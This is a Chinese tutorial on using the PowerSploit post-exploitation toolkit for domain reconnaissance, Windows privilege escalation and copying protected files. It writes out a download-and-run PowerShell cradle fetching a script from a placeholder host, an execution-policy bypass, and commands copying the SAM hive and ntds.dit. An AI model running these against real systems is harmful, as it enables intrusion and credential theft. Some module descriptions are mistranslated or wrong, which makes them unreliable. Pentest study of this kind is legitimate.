0

0

工具的使用|PowerSploit脚本的用法

星夢妙者

星夢妙者

发布时间:2025-09-01 09:17:24

|

801人浏览过

|

来源于php中文网

原创

目录

PowerSploit

PowerSploit的用法

PowerView.ps1脚本的使用

PowerUp.ps1脚本的使用

Invoke-Allchecks模块

Invoke-NinjaCopy.ps1脚本的使用

工具的使用|PowerSploit脚本的用法

PowerSploit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit
工具的使用|PowerSploit脚本的用法
ActivirusBypass:发现杀毒软件的查杀特征CodeExecution:在目标主机上执行代码Exfiltration:目标主机上的信息搜集工具Mayhem:蓝屏等破坏性的脚本Persistence:后门脚本Privsec:提权等脚本Recon:以目标主机为跳板进行内网信息侦查ScriptModification:在目标主机上创建或修改脚本

本文主要讲的是PowerSploit用于搜索域信息的模块,其他模块用法一致。

PowerSploit的用法

首先,我们想用里面哪个脚本,就先下载该脚本,然后导入该脚本,执行其中的模块。我们以PowerView.ps1脚本为例,该脚本主要用于搜集域信息。

我们先下载PowerView.ps1脚本到本地,然后在当前目录下打开cmd,执行以下命令执行PowerView.ps1脚本中的Get-NetDomain模块,如果要执行该脚本的其他模块,亦是如此

代码语言:javascript代码运行次数:0运行复制
powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain
工具的使用|PowerSploit脚本的用法

如果需要远程加载模块的话,我们先将PowerView.ps1放到我们的http服务目录下,然后执行以下命令

代码语言:javascript代码运行次数:0运行复制
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain
工具的使用|PowerSploit脚本的用法
PowerView.ps1脚本的使用

PowerView.ps1脚本位于PowerSploit的Recon目录下,该模块主要用于域内信息的收集。

工具的使用|PowerSploit脚本的用法

该脚本有以下一些模块

代码语言:javascript代码运行次数:0运行复制
Get-NetDomain               #查看域名称Get-NetDomainController     #获取域控的信息Get-NetForest               #查看域内详细的信息Get-Netuser                 #获取域内所有用户的详细信息Get-NetUser | select name   #获得域内所有用户名Get-NetGroup        #获取域内所有组信息Get-NetGroup | select name  #获取域内所有的组名Get-NetGroup *admin* | select name   #获得域内组中带有admin的Get-NetGroup "Domain Admins"         #查看组"Domain Admins"组的信息Get-NetGroup -UserName test   #获得域内组中用户test的信息 Get-UserEvent        #获取指定用户日志信息Get-NetComputer             #获取域内所有机器的详细信息Get-NetComputer | select name   #获得域内主机的名字Get-Netshare                #获取本机的网络共享Get-NetProcess              #获取本机进程的详细信息Get-NetOU                #获取域内OU信息Get-NetFileServer      #根据SPN获取当前域使用的文件服务器Get-NetSession         #获取在指定服务器存在的Session信息Get-NetRDPSESSION           #获取本机的RDP连接session信息Get-NetGPO           #获取域内所有组策略对象Get-ADOBJECT                #获取活动目录的信息Get-DomainPolicy       #获取域默认策略 Invoke-UserHunter           #查询指定用户登录过的机器Invoke-EnumerateLocalAdmin  #枚举出本地的管理员信息Invoke-ProcessHunter        #判断当前机器哪些进程有管理员权限Invoke-UserEventHunter    #根据用户日志获取某域用户登陆过哪些域机器
工具的使用|PowerSploit脚本的用法
PowerUp.ps1脚本的使用

PowerUp.ps1脚本是 Privsec 目录下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows 内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。

工具的使用|PowerSploit脚本的用法

我们来看下该脚本下模块的功能:

AI Humanize
AI Humanize

使用AI改写工具,生成不可被AI检测的文本内容

下载

Service Enumeration(服务枚举)

代码语言:javascript代码运行次数:0运行复制
Get-ServiceUnquoted             该模块返回包含空格但是没有引号的服务路径的服务Get-ModifiableServiceFile       该模块返回当前用户可以修改服务的二进制文件或修改其配置文件的服务Get-ModifiableService           该模块返回当前用户能修改的服务Get-ServiceDetail               该模块用于返回某服务的信息,用法: Get-ServiceDetail -servicename  服务名

Service Abuse(服务滥用)

代码语言:javascript代码运行次数:0运行复制
Invoke-ServiceAbuse          该模块通过修改服务来添加用户到指定组,并可以通过设置 -cmd 参数触发添加用户的自定义命令Write-ServiceBinary          该模块通过写入一个修补的C#服务二进制文件,它可以添加本地管理程序或执行自定义命令,Write-ServiceBinary与Install-ServiceBinary不同之处自安于,前者生成可执行文件,后者直接安装服务  Install-ServiceBinary        该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,Restore-ServiceBinary        该模块用于恢复服务的可执行文件到原始目录,使用:Restore-ServiceBinary -servicename 服务名

DLL Hijacking(DLL注入)

代码语言:javascript代码运行次数:0运行复制
Find-ProcessDLLHijack       该模块查找当前正在运行的进程潜在的dll劫持机会。Find-PathDLLHijack          该模块用于检查当前 %path% 的哪些目录是用户可以写入的Write-HijackDll             该模块可写入可劫持的dll

Registry Checks(注册审核)

代码语言:javascript代码运行次数:0运行复制
Get-RegistryAlwaysInstallElevated     该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,则意味着SAM文件是以System权限运行的Get-RegistryAutoLogon                 该模块用于检测Winlogin注册表的AutoAdminLogon项是否被设置,可用于查询默认的用户名和密码Get-ModifiableRegistryAutoRun         该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下:    HKLM\Software\Microsoft\Windows\CurrentVersino\Run    HKLM\Software\Microsoft\Windows\CurrentVersino\RunOnce    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService    HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService    HKLM\Software\Microsoft\Windows\CurrentVersion\RunService    HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceService

Miscellaneous Checks(杂项审核)

代码语言:javascript代码运行次数:0运行复制
Get-ModifiableScheduledTaskFile       该模块用于返回当前用户能够修改的计划任务程序的名称和路径 Get-Webconfig                         该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文Get-ApplicationHost                   该模块利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码Get-SiteListPassword                  该模块检索任何已找到的McAfee的SiteList.xml文件的明文密码Get-CachedGPPPassword                 该模块检查缓存的组策略首选项文件中的密码Get-UnattendedInstallFile             该模块用于检查以下路径,查找是否存在这些文件,因为这些文件可能含有部署凭据     C:\sysprep\sysprep.xml    C:\sysprep\sysprep.inf    C:\sysprep.inf    C:\Windows\Panther\Unattended.xml    C:\Windows\Panther\Unattend\Unattended.xml    C:\Windows\Panther\Unattend.xml    C:\Windows\Panther\Unattend\Unattend.xml    C:\Windows\System32\Sysprep\unattend.xml    C:\Windows\System32\Sysprep\Panther\unattend.xml

Other Helpers/Meta-Functions(其他一些模块的帮助)

代码语言:javascript代码运行次数:0运行复制
Get-ModifiablePath                 该模块标记输入字符串并返回当前用户可以修改的文件Get-CurrentUserTokenGroupSid       该模块返回当前用户参与的所有小岛屿发展中国家,无论它们是否已禁用。Add-ServiceDacl                    该模块将dacl字段添加到get-service返回的服务对象中Set-ServiceBinPath                 该模块通过Win 32 api方法将服务的二进制路径设置为指定的值。Test-ServiceDaclPermission         该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改。如果能修改,则返回该服务对象。使用:Test-ServiceDaclPermission -servicename 服务名Write-UserAddMSI                   该模块写入一个MSI安装程序,提示要添加一个用户。Invoke-AllChecks                   该模块会自动执行 PowerUp.ps1 下所有的模块来检查目标主机是否存在服务配置漏洞

以下是这些模块提权的原理:

Get-ServiceUnquoted 模块提权 (该模块利用了Windows的一个逻辑漏洞,即当文件包含空格时,WindowsAPI会解释为两个路径,并将这两个文件同时执行,这个漏洞在有些时候会造成权限的提升)。Test-ServiceDaclPermission 模块提权 (该模块会检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)。Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如在每次重启系统时,Java升级程序都会检测出Oracle网站是否有新版Java程序。而类似Java程序之类的系统服务程序,在加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务器获得系统权限。。 Invoke-Allchecks模块代码语言:javascript代码运行次数:0运行复制
powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks
代码语言:javascript代码运行次数:0运行复制
 -verbose

运行该脚本,该脚本会自动检查PowerUp.ps1下所有的模块,并在存在漏洞利用的模块下的AbuseFunction中直接给出利用方法

工具的使用|PowerSploit脚本的用法
Invoke-NinjaCopy.ps1脚本的使用

该脚本在Exfiltration目录下,该文件的作用是复制一些系统无法复制的文件,比如sam文件。还可以在域环境中传输文件(前提是执行命令的用户是域用户)

注:该脚本需要管理员权限运行

复制文件

代码语言:javascript代码运行次数:0运行复制
Import-Module .\Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam
工具的使用|PowerSploit脚本的用法

域环境中传输文件

代码语言:javascript代码运行次数:0运行复制
Copy-Item '\\dc.offensive.local\C$\Users\administrator\Desktop\ntds.dit'-Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'   #将dc.offensive.local主机上c:\users\administrator\desktop\ntds.dit文件复制到 Client1.offensive.local 主机的C:\users\alice\Desktop\tools\ntds.dit文件
工具的使用|PowerSploit脚本的用法

未完待续。。。。。。。。。

参考书籍:《Web安全攻防-渗透测试实战指南》

相关专题

更多
java
java

Java是一个通用术语,用于表示Java软件及其组件,包括“Java运行时环境 (JRE)”、“Java虚拟机 (JVM)”以及“插件”。php中文网还为大家带了Java相关下载资源、相关课程以及相关文章等内容,供大家免费下载使用。

835

2023.06.15

java正则表达式语法
java正则表达式语法

java正则表达式语法是一种模式匹配工具,它非常有用,可以在处理文本和字符串时快速地查找、替换、验证和提取特定的模式和数据。本专题提供java正则表达式语法的相关文章、下载和专题,供大家免费下载体验。

741

2023.07.05

java自学难吗
java自学难吗

Java自学并不难。Java语言相对于其他一些编程语言而言,有着较为简洁和易读的语法,本专题为大家提供java自学难吗相关的文章,大家可以免费体验。

736

2023.07.31

java配置jdk环境变量
java配置jdk环境变量

Java是一种广泛使用的高级编程语言,用于开发各种类型的应用程序。为了能够在计算机上正确运行和编译Java代码,需要正确配置Java Development Kit(JDK)环境变量。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

397

2023.08.01

java保留两位小数
java保留两位小数

Java是一种广泛应用于编程领域的高级编程语言。在Java中,保留两位小数是指在进行数值计算或输出时,限制小数部分只有两位有效数字,并将多余的位数进行四舍五入或截取。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

399

2023.08.02

java基本数据类型
java基本数据类型

java基本数据类型有:1、byte;2、short;3、int;4、long;5、float;6、double;7、char;8、boolean。本专题为大家提供java基本数据类型的相关的文章、下载、课程内容,供大家免费下载体验。

446

2023.08.02

java有什么用
java有什么用

java可以开发应用程序、移动应用、Web应用、企业级应用、嵌入式系统等方面。本专题为大家提供java有什么用的相关的文章、下载、课程内容,供大家免费下载体验。

430

2023.08.02

java在线网站
java在线网站

Java在线网站是指提供Java编程学习、实践和交流平台的网络服务。近年来,随着Java语言在软件开发领域的广泛应用,越来越多的人对Java编程感兴趣,并希望能够通过在线网站来学习和提高自己的Java编程技能。php中文网给大家带来了相关的视频、教程以及文章,欢迎大家前来学习阅读和下载。

16926

2023.08.03

高德地图升级方法汇总
高德地图升级方法汇总

本专题整合了高德地图升级相关教程,阅读专题下面的文章了解更多详细内容。

43

2026.01.16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PostgreSQL 教程
PostgreSQL 教程

共48课时 | 7.4万人学习

Excel 教程
Excel 教程

共162课时 | 12.2万人学习

PHP基础入门课程
PHP基础入门课程

共33课时 | 1.9万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号